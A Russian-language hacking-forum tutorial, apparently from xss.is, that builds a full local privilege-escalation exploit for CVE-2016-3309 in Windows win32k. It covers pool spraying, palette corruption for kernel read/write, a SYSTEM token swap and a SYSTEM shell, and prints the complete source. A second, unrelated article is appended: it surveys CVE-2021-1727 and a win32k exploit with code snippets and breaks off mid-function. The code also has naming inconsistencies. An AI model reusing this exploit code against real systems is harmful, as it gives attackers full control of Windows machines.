CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_thread, 0, 0, &tid);
Где sub_thread - функция о которой я расскажу чуть ниже
Создадим Device Context, получим хэндлер памяти и создадим Bitmap:
C++:Copy to clipboard
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x666, 0x1338, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
Объявим массив points, размером 0x74a5:
C++:Copy to clipboard
int size = 0x74a5;
POINT* points = (POINT*)malloc(size * sizeof(POINT));
DWORD point_value = 0x66000000;
for (int x = 0; x < size; x++) {
points[x].x = point_value;
points[x].y = point_value;
}
Добавим 0x1769 линий, учитывая тот факт что hHmgr должен быть переписан единицей:
C++:Copy to clipboard
if (!BeginPath(hMemDC)) {
printf("[!] Error in BeginPath!\n");
return 1;
}
for (int j = 0; j < 0x1769; j++) {
if (j == 0) {
points[1].x = 0x11223344;
points[1].y = 0x360;
points[2].x = 1;
points[2].y = 0x400;
}
else {
points[1].x = point_value;
points[1].y = point_value;
points[2].x = point_value;
points[2].y = point_value;
}
if (!PolylineTo(hMemDC, points, size)) {
printf("[!] Error in PolylineTo()\n");
return 1;
}
}
EndPath(hMemDC);
Добавим две функции, одну для создания объектов произвольного размера, а другую для создания палеток определённого размера:
C++:Copy to clipboard
typedef HANDLE(WINAPI* ZwUserConvertMemHandle)(BYTE* buf, DWORD size);
ZwUserConvertMemHandle pfnUserConvertMemHandle = 0;
void SetupUserConvertMemHandle() {
printf("[*] Setting up a UserConvertMemHandle\n");
pfnUserConvertMemHandle = (ZwUserConvertMemHandle)GetProcAddress(LoadLibraryA("win32u.dll"), "NtUserConvertMemHandle");
if (!pfnUserConvertMemHandle) {
printf("[!] Can't setup UserConvertMemHandle");
exit(-1);
}
printf("[+] pfnUserConvertMem: %llx\n", pfnUserConvertMemHandle);
}
HANDLE AllocateOnSessionPool(unsigned int size) {
int alloc_size = size - 0x14;
BYTE* buffer = (BYTE*)malloc(alloc_size);
memset(buffer, 0x41, alloc_size);
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, size);
BYTE* buf = (BYTE*)GlobalLock(hMem);
memcpy(buf, buffer, alloc_size);
HANDLE hMem2 = pfnUserConvertMemHandle(buf, alloc_size);
GlobalUnlock(hMem);
return hMem;
}
HPALETTE createPaletteOfSize(int size) {
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (pallette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(pallette_size);
memset(lPalette, 0x4, pallette_size);
lPalette->palNumEntries = pallette_entry_count;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
SetupUserConvertMemHandle - нужен для инициализации указателя на NtUserConvertMemHandle
Добавим структуру для хранения созданых объектов:
C++:Copy to clipboard
typedef struct pool_palettes_ {
HPALETTE trash;
HPALETTE pwnd;
HPALETTE manager;
HPALETTE worker;
}pool_palettes;
pool_palettes* palettes;
Теперь заспреим пул. Я уже писал о том почему и как мы это делаем, так что я не буду повторяться:
C++:Copy to clipboard
SetupUserConvertMemHandle();
printf("[*] Preparing a pool\n");
for (int i = 0; i < 0x400; i++) {
AllocateOnSessionPool(0xfe0);
}
for (int i = 0; i < 0x5000; i++) {
AllocateOnSessionPool(vulnsize);
}
palettes = (pool_palettes*)calloc(create_objs_count, sizeof(pool_palettes));
for (int i = 0; i < create_objs_count; i++) {
palettes[i].trash = createPaletteOfSize(0xf40);
palettes[i].pwnd = createPaletteOfSize(0xfe0);
palettes[i].manager = createPaletteOfSize(0xfe0);
palettes[i].worker = createPaletteOfSize(0xfe0);
}
for (int i = 0; i < create_objs_count / 2; i++) {
AllocateOnSessionPool(vulnsize);
}
Вызовем уязвимую функцию и установим глобальную переменную marker в true:
C++:Copy to clipboard
printf("[*] Triggering the bug\n");
FillPath(hMemDC);
Sleep(1000);
marker = true;
о том зачем нам нужен marker я объясню ниже, когда мы заговорим о втором потоке
Далее идёт цикл, итерирующийся по созданым ранее объектам:
C++:Copy to clipboard
printf("[*] Iterating through objects\n");
for (int i = create_objs_count - 1; i >= 0; i--) {
pwnd = palletes[i].pwnd;
manager = palletes[i].manager;
worker = palletes[i].worker;
memcpy(&rPalette[(cEntries_offset / 4) - 8], &manager, sizeof(UINT64));
if (SetPaletteEntries(pwnd, 0, cEntries_offset / 4, rPalette) == (cEntries_offset / 4)) {
break;
}
}
Здесь мы с конца итерируемся по массиву объектов _pool_palettes, меняем глобальные переменные. После чего сохраняем хэндлер на Manager в pwnData, и вызываем SetPaletteEntries на pwnd палетке, передавая в качестве аргумента pwnData. Если заголовок нашей pwnd палетки был успешно переписан из за переполнения, то в результате этого вызова SetPaletteEntries мы перепишем заголовок manager палетки указанными ранее в коде данными и поймаем deadlock основного потока.
Помните мы запускали sub_thread и устанавливали некий marker? Давайте же перейдём к sub_thread:
C++:Copy to clipboard
int sub_thread() {
printf("[+] started a sub_thread\n");
while (!marker)
Sleep(100);
}
Тут думаю ничего объяснять не надо.
А вот после установки переменной marker в true, происходит следующее:
C++:Copy to clipboard
Sleep(1000);
manager_bits = (BYTE*)malloc(0x1000);
int cRead = 0;
while (!cRead) {
cRead = GetPaletteEntries(manager, 0, 0x400, (PALETTEENTRY*)manager_bits);
if (cRead != 0x400) {
printf("[!] Error: Can't find overwrited manager palette\n");
return 1;
}
Sleep(1000);
}
printf("[+] Found OOB capability!\n");
Здесь мы выделяем 0x1000 памяти, в которую мы будем читать память при помощи manager палетки. Затем в цикле мы пытаемся при помощи manager палетки прочитать 0x400 байт памяти. Как только нам это удаётся мы выпадаём из цикла.
На этом этапе мы обошли deadlock основного потока, и получили примитив произвольного чтения\записи! Можете себе похлопать
Дописываем эксплоит
Дальше идёт пожалуй сама важная часть кода - исправление последствий
переполнения:
C++:Copy to clipboard
printf("[*] Now, fixing overwitten palettes:\n");
UINT64 worker_palette_obj = (UINT64)manager_bits + cEntries_offset - 0x20;
UINT64 worker_palette_pFistColor = *(UINT64*)(worker_palette_obj + 0x78);
UINT64 worker_palette_address = worker_palette_pFistColor - (0x78 + 0x10);
UINT64 manager_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x1000;
UINT64 pwnd_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x2000;
Первым делом получаем адреса всех палеток
Теперь запишем в hHmgr pwnd палетки валидный хэндлер:
C++:Copy to clipboard
printf(" --> hHmgr of pwnd\n");
int result = write(pwnd_palette_address, (BYTE*)&pwnd, sizeof(UINT64));
if (result != sizeof(UINT64)) {
printf("[!] Error of reparing pwnd.hHmgr");
return 1;
}
Исправим заголовок pwnd палетки:
C++:Copy to clipboard
printf(" --> Header of pwnd\n");
BYTE pwnd_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
write(pwnd_palette_address - 0x10, (BYTE*)&pwnd_header_palette, sizeof(pwnd_header_palette) - 1);
Теперь поправим счётчик ссылок для pwnd и manager палеток:
C++:Copy to clipboard
printf(" --> Refcount of pwnd and manager\n");
UINT64 null = 0;
write(pwnd_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));
write(manager_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));
Исправим заголовок идущий после pwnd палетки:
C++:Copy to clipboard
printf(" --> Header after pwnd\n");
BYTE next_pool_header[] = "\xff\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
write(manager_palette_address - 0x20, (BYTE*)&next_pool_header, sizeof(next_pool_header) - 1);
Настало время заняться тем, ради чего мы писали всё остальное - подменить токен процесса. Для начала получим адрес PsInitialSystemProcess:
C++:Copy to clipboard
FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) {
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
LPVOID kernelBase = ModuleInfo->Module[0].ImageBase;
PUCHAR kernelImage = ModuleInfo->Module[0].FullPathName;
LPCSTR lpKernelName = (LPCSTR)(ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName);
HMODULE hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
if (hUserSpaceKernel == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
if (pUserKernelSymbol == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpaceKernel);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return pLiveFunctionAddress;
}
int sub_thread() {
...
printf("[*] So, lets swap some tokens!\n");
FARPROC fpFunctionAddress = KernelSymbolInfo("PsInitialSystemProcess");
if (fpFunctionAddress == NULL) {
printf("[!] Can't find memory address!\n");
return 1;
}
...
}
Адрес PsInitialSystemProcess содержит адрес структуры EPROCESS системного процесса. Кратко объясню как работает функция KernelSymbolInfo: Она получает адрес NtQuerySystemInformation. Вызывает фукнцию один раз, для опеределения того какого размера нужно выделить пространство. После выделит его и вызовет фукнцию второй раз передав выделенное пространство в качестве аргумента. Первым элементом полученного массива Module будет адресс kernel32 dll. Получив адресс kernel32, функция вызовет LoadLibrary и GetProcAddress для получения адреса нужного элемента ядра. Затем получит смещение и прибавит к нему адресс ядра.
Объявим нужные переменные:
C++:Copy to clipboard
UINT64 lpSystemEPROCESS = NULL;
UINT64 lpNextEPROCESS = NULL;
LIST_ENTRY leNextProcessLink;
UINT64 lpSystemToken = NULL;
UINT64 dwCurrentPID;
Используя наш примитив чтения, прочитаем адресс системного EPROCESS, получим системный токен и указатель на следующий процесс в связном списке процессов:
C++:Copy to clipboard
read((UINT64)fpFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(UINT64));
read(lpSystemEPROCESS + 0x2e8, (BYTE*)&leNextProcessLink, sizeof(UINT64));
read(lpSystemEPROCESS + 0x358, (BYTE*)&lpSystemToken, sizeof(UINT64));
Итерируемся по списку процессов и ищем процесс эксплойта:
C++:Copy to clipboard
do {
lpNextEPROCESS = (UINT64)leNextProcessLink.Flink - 0x2e8;
read((lpNextEPROCESS + 0x2e0), (BYTE*)&dwCurrentPID, sizeof(UINT64));
read((lpNextEPROCESS + 0x2e8), (BYTE*)&leNextProcessLink, sizeof(UINT64));
} while (dwCurrentPID != GetCurrentProcessId());
Теперь запишем системный токен в адрес токена процесса эксплойта:
C++:Copy to clipboard
write((lpNextEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(UINT64));
На этом этапе эксплоит почти говотов, осталось пару деталей.
В цикле удалим созданые ранее объекты:
C++:Copy to clipboard
for (int i = 0; i < create_objs_count; i++) {
DeleteObject(palettes[i].trash);
DeleteObject(palettes[i].manager);
DeleteObject(palettes[i].worker);
if (manager != palettes[i].manager) {
DeleteObject(palettes[i].pwnd);
}
}
И создадим новую командную строку:
C++:Copy to clipboard
void spawn_cmd() {
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//Creating process
const wchar_t* cmd = L"C:\\Windows\\System32\\cmd.exe";
if (CreateProcess(cmd, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[+] Cmd created!\n");
}
else {
printf("[!] FATAL: Can't create cmd.exe\n");
}
return;
}
int sub_thread() {
...
spawn_cmd();
return 0;
}
На этом этапе эксплоит можно считать завершённым, давайте откомпилим бинарник и проверим!
Полный код эксплойта:
main.cpp
C++:Copy to clipboard
#include <windows.h>
#include <stdio.h>
#include "inc.h"
int cEntries_offset = 0xf98;
bool marker = false;
HPALETTE pwnd = 0;
HPALETTE manager = 0;
HPALETTE worker = 0;
BYTE* manager_bits = 0;
typedef struct pool_palettes_ {
HPALETTE trash;
HPALETTE pwnd;
HPALETTE manager;
HPALETTE worker;
}pool_palettes;
pool_palettes* palettes;
int create_objs_count = 0x800;
typedef HANDLE(WINAPI* ZwUserConvertMemHandle)(BYTE* buf, DWORD size);
ZwUserConvertMemHandle pfnUserConvertMemHandle = 0;
void spawn_cmd() {
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//Creating process
const wchar_t* cmd = L"C:\\Windows\\System32\\cmd.exe";
if (CreateProcess(cmd, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[+] Cmd created!\n");
}
else {
printf("[!] FATAL: Can't create cmd.exe\n");
}
return;
}
FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) {
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
LPVOID kernelBase = ModuleInfo->Module[0].ImageBase;
PUCHAR kernelImage = ModuleInfo->Module[0].FullPathName;
LPCSTR lpKernelName = (LPCSTR)(ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName);
HMODULE hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
if (hUserSpaceKernel == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
if (pUserKernelSymbol == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpaceKernel);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return pLiveFunctionAddress;
}
void SetupUserConvertMemHandle() {
printf("[*] Setting up a UserConvertMemHandle\n");
pfnUserConvertMemHandle = (ZwUserConvertMemHandle)GetProcAddress(LoadLibraryA("win32u.dll"), "NtUserConvertMemHandle");
if (!pfnUserConvertMemHandle) {
printf("[!] Can't setup UserConvertMemHandle");
exit(-1);
}
printf("[+] pfnUserConvertMem: %llx\n", pfnUserConvertMemHandle);
}
HANDLE AllocateOnSessionPool(unsigned int size) {
int alloc_size = size - 0x14;
BYTE* buffer = (BYTE*)malloc(alloc_size);
memset(buffer, 0x41, alloc_size);
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, size);
BYTE* buf = (BYTE*)GlobalLock(hMem);
memcpy(buf, buffer, alloc_size);
HANDLE hMem2 = pfnUserConvertMemHandle(buf, alloc_size);
GlobalUnlock(hMem);
return hMem;
}
void FreeFromSessionPool(HANDLE hMem) {
SetClipboardData(CF_TEXT, hMem);
EmptyClipboard();
}
HPALETTE createPaletteOfSize(int size) {
int pallette_entry_count = (size - 0x90) / 4;
int pallette_size = sizeof(LOGPALETTE) + (pallette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(pallette_size);
memset(lPalette, 0x4, pallette_size);
lPalette->palNumEntries = pallette_entry_count;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
int write(UINT64 target_address, BYTE* data, int size) {
// cEntries
memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18 * 4)], &size, sizeof(DWORD));
// pFirstColor
memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
// Setting values
SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
// Writing data
return SetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}
int read(UINT64 target_address, BYTE* data, int size) {
// cEntries
memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18 * 4)], &size, sizeof(DWORD));
// pFirstColor
memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
// Setting values
SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
// Reading data
return GetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}
//thread
int sub_thread() {
printf("[+] started a sub_thread\n");
while (!marker)
Sleep(100);
Sleep(1000);
manager_bits = (BYTE*)malloc(0x1000);
int cRead = 0;
while (!cRead) {
cRead = GetPaletteEntries(manager, 0, 0x400, (PALETTEENTRY*)manager_bits);
if (cRead != 0x400) {
printf("[!] Error: Can't find overwrited manager palette\n");
return 1;
}
Sleep(1000);
}
printf("[+] Found OOB capability!\n");
printf("[*] Now, fixing overwitten palettes:\n");
UINT64 worker_palette_obj = (UINT64)manager_bits + cEntries_offset - 0x20;
UINT64 worker_palette_pFistColor = *(UINT64*)(worker_palette_obj + 0x78);
UINT64 worker_palette_address = worker_palette_pFistColor - (0x78 + 0x10);
UINT64 manager_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x1000;
UINT64 pwnd_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x2000;
printf(" --> hHmgr of pwnd\n");
int result = write(pwnd_palette_address, (BYTE*)&pwnd, sizeof(UINT64));
if (result != sizeof(UINT64)) {
printf("[!] Error of reparing pwnd.hHmgr");
return 1;
}
printf(" --> Header of pwnd\n");
BYTE pwnd_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
write(pwnd_palette_address - 0x10, (BYTE*)&pwnd_header_palette, sizeof(pwnd_header_palette) - 1);
printf(" --> Refcount of pwnd and manager\n");
UINT64 null = 0;
write(pwnd_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));
write(manager_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));
printf(" --> Header after pwnd\n");
BYTE next_pool_header[] = "\xff\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
write(manager_palette_address - 0x20, (BYTE*)&next_pool_header, sizeof(next_pool_header) - 1);
printf("[*] So, lets swap some tokens!\n");
FARPROC fpFunctionAddress = KernelSymbolInfo("PsInitialSystemProcess");
if (fpFunctionAddress == NULL) {
printf("[!] Can't find memory address!\n");
return 1;
}
UINT64 lpSystemEPROCESS = NULL;
UINT64 lpNextEPROCESS = NULL;
LIST_ENTRY leNextProcessLink;
UINT64 lpSystemToken = NULL;
UINT64 dwCurrentPID;
read((UINT64)fpFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(UINT64));
read(lpSystemEPROCESS + 0x2e8, (BYTE*)&leNextProcessLink, sizeof(UINT64));
read(lpSystemEPROCESS + 0x358, (BYTE*)&lpSystemToken, sizeof(UINT64));
printf("[+] Got info about system:\n");
printf(" --> System process id: 0x4\n");
printf(" --> System EPROCESS address: 0x%llx\n", lpSystemEPROCESS);
printf(" --> System Token: 0x%llx\n", lpSystemToken);
printf("[*] Now searching for current process...\n");
do {
lpNextEPROCESS = (UINT64)leNextProcessLink.Flink - 0x2e8;
read((lpNextEPROCESS + 0x2e0), (BYTE*)&dwCurrentPID, sizeof(UINT64));
read((lpNextEPROCESS + 0x2e8), (BYTE*)&leNextProcessLink, sizeof(UINT64));
} while (dwCurrentPID != GetCurrentProcessId());
printf("[+] Found current process: \n");
printf(" --> Current process id: 0x%llx\n", dwCurrentPID);
printf(" --> Current EPROCESS address: 0x%llx\n", lpNextEPROCESS);
printf("[*] Performing swap...\n");
write((lpNextEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(UINT64));
printf("[+] Successfull!\n");
printf("[*] Make some cleaning...\n");
for (int i = 0; i < create_objs_count; i++) {
DeleteObject(palettes[i].trash);
DeleteObject(palettes[i].manager);
DeleteObject(palettes[i].worker);
if (manager != palettes[i].manager) {
DeleteObject(palettes[i].pwnd);
}
}
printf("[+] Enjoy system shell!\n");
spawn_cmd();
return 0;
}
int main() {
printf("[*] Exploit for CVE-2016-3309 Windows 10 1703 RS2 Creators Update\n");
printf("[*] Trying to reach vulnerable function win32kfull!bFill\n");
SetupUserConvertMemHandle();
printf("[*] Preparing for vuln trigger\n");
DWORD vulnsize = 0xa0;
PALETTEENTRY* pwnData = (PALETTEENTRY*)calloc(0x1000, sizeof(PALETTEENTRY));
memset(pwnData, 0x4, 0x1000 * sizeof(PALETTEENTRY));
BYTE pool_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
memcpy(&pwnData[(cEntries_offset / 4) - 12], &pool_header_palette, sizeof(pool_header_palette) - 1);
printf("[*] Starting a safe thread\n");
DWORD tid;
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_thread, 0, 0, &tid);
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x666, 0x1338, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
int size = 0x74a5;
POINT* points = (POINT*)malloc(size * sizeof(POINT));
DWORD point_value = 0x66000000;
for (int x = 0; x < size; x++) {
points[x].x = point_value;
points[x].y = point_value;
}
if (!BeginPath(hMemDC)) {
printf("[!] Error in BeginPath!\n");
return 1;
}
for (int j = 0; j < 0x1769; j++) {
if (j == 0) {
points[1].x = 0x11223344;
points[1].y = 0x360;
points[2].x = 1;
points[2].y = 0x400;
}
else {
points[1].x = point_value;
points[1].y = point_value;
points[2].x = point_value;
points[2].y = point_value;
}
if (!PolylineTo(hMemDC, points, size)) {
printf("[!] Error in PolylineTo()\n");
return 1;
}
}
EndPath(hMemDC);
printf("[*] Preparing a pool\n");
for (int i = 0; i < 0x400; i++) {
AllocateOnSessionPool(0xfe0);
}
for (int i = 0; i < 0x5000; i++) {
AllocateOnSessionPool(vulnsize);
}
palettes = (pool_palettes*)calloc(create_objs_count, sizeof(pool_palettes));
for (int i = 0; i < create_objs_count; i++) {
palettes[i].trash = createPaletteOfSize(0xf40);
palettes[i].pwnd = createPaletteOfSize(0xfe0);
palettes[i].manager = createPaletteOfSize(0xfe0);
palettes[i].worker = createPaletteOfSize(0xfe0);
}
for (int i = 0; i < create_objs_count / 2; i++) {
AllocateOnSessionPool(vulnsize);
}
printf("[*] Triggering the bug\n");
FillPath(hMemDC);
Sleep(1000);
marker = true;
printf("[*] Iterating through objects\n");
for (int i = create_objs_count - 1; i >= 0; i--) {
pwnd = palettes[i].pwnd;
manager = palettes[i].manager;
worker = palettes[i].worker;
memcpy(&pwnData[(cEntries_offset / 4) - 8], &manager, sizeof(UINT64));
if (SetPaletteEntries(pwnd, 0, cEntries_offset / 4, pwnData) == (cEntries_offset / 4)) {
break;
}
}
Sleep(-1);
}
inc.h
C++:Copy to clipboard
#pragma once
#include <windows.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
Итог
Спасибо за прочтение! В последнее время я редко пишу на форум, поэтому в
статье могут быть ошибки. Не стесняйтесь о них писать!
В этой статье я постарался относительно кратно, но подробно описать как
пишутся эксплойты под N-day уязвимости. Конечно уязвимость не совсем
актуальна, ведь сейчас в ядре Windows уже ввели сигментарную кучу, и полностью
исключили возможность использования GDI примитивов, в результате чего
эксплуатация переполнения в куче превратилась в ту ещё задачу
Но для тех кто только начал свой путь эксплуатации ядра, побаловался с HEVD и
не знает что делать дальше, такой подробный разбор будет очень полезен.
Azrv3l cпециально для xss.is
Уязвимости в ОС и программном обеспечении всегда являлись одними из самым мощных векторов тестирования на проникновение. Какими интересными свежими уязвимостями можно пополнить свой арсенал? В статье попробуем разобраться, как работают 3 уязвимости в ОС Windows и MS Office, которые были опубликованы в последние полгода.
С каждым годом, несмотря на улучшение процессов разработки программного обеспечения и введения большого количества систем защит, количество выпускаемых в паблик эксплойтов растет. Поэтому, чтобы не потеряться в этом море ошибок и готовых эксплойтов, выполним несколько шагов.
Шаг первый — определим набор программного обеспечения, который нам был бы интересен. Так как пентест обычно проводится для корпоративных сетей, где особой популярностью пользуется ОС Windows, то логично будет в список включать уязвимости для нее и её компонентов. Итак, в списке следующий софт:
Быстрый поиск через любую поисковую машину находит несколько тысяч уязвимостей, которые были выпущены в public для перечисленных продуктов. Определим небольшой список:
Уязвимость в ОС Windows, [согласно](https://msrc.microsoft.com/update- guide/vulnerability/CVE-2021-1727) находится в Windows Installer сервисе. Успешная эксплуатация может позволить повысить свои привилегии до уровня пользователя System. Иными словами, это полная компрометация ОС. Описание, в чем конкретно заключается уязвимость, не доступно. Среди уязвимых систем — Windows 7, 8, 10 до 2004 билда включительно.
Попробуем найти информацию среди уже готовых эксплойтов. Первая же ссылка нас приводит к вот этому репозиторию. Эксплойт написан на языке программирования C++. В этот раз нам повезло: PoC снабжен исходным кодом, в котором есть даже интересные комментарии. С использованием исходного кода опишем верхнеуровнего алгоритм эксплойта:
main функция почти весь код содержит в цикле, условием которого является успешное чтение ключа реестра SYSTEM\\CurrentControlSet\\Services\\Fax\\ImagePath. Причем поиск осуществляется следующего значения — %systemroot%\\Temp\\asmae.exe
На строке 76 и 77 внутри цикла устанавливается приоритет процесса и потока эксплойта.
Code:Copy to clipboard
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
Это может указывать на то, что эксплойт использует проблему типа Race Condition.
Подтверждение пункту 2 можно привести так же использование вот такого цикла для загрузки процессора:
Code:Copy to clipboard
DWORD WINAPI thread(void* args) { do {
} while (1);
}
Code:Copy to clipboard
c:\\windows\\system32\\msiexec.exe", L" /fa C:\\Windows\\Temp\\asmae.msi /quiet
Таким образом, перед нами эксплойт, который приводит к Race Condition и, используя эту уязвимость, перезатирает исполняемый файл для сервиса внутри Windows. В данном случае используется сервис "Fax".
В репозитории уже есть 2 файла, которые используются для запуска полезной
нагрузки: asmae.msi
и asmae.exe
.
Уязвимость в Windows Win32k подсистеме. Win32k — самая популярная подсистема для повышения привилегий. Данная уязвимость не стала исключением. Основные проблемы, которые преследуют эту подсистему — рассинхронизация создания и уничтожения объектов, с которыми работают алгоритмы. Практически всегда это элементы пользовательского интерфейса, которые создаются со случайными значениями параметров инициализации.
Публичный эксплойт для этой уязвимости можно также найти в репозитории здесь.
Сам эксплойт использует достаточно простой алгоритм, однако, благодаря введенным в ОС подсистемам защиты, выполнение этого алгоритма может быть достаточно нетривиальной задачей.
Итак, чтобы повысить привилегии для пользователя, эксплойт выполняет следующие этапы:
Эксплойт с самого начала использует механизм поиска базовых адресов в оперативной памяти. Для этого используется функция HmValidateHandle. На основании данных от этой функции собирается примитив для чтения памяти:
Code:Copy to clipboard
QWORD MyRead64(QWORD qwDestAddr)
{
MENUBARINFO pmbi = {};
pmbi.cbSize = sizeof(MENUBARINFO);
if (g_bIsInit)
{
}
else
{
QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200ui64);
memset(pTemp, 0, 0x200);
QWORD qwBase = 0x000000400000000;
QWORD qwAdd = 0x0000000800000008;
for (int i = 0; i < 0x40; i++)
{
*(pTemp + i) = qwBase + qwAdd*i;
}
*(QWORD *)ref_g_pMem5 = (QWORD)pTemp;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
g_pmbi_rcBar_left = pmbi.rcBar.left;
bool g_bIsInit = 1;
}
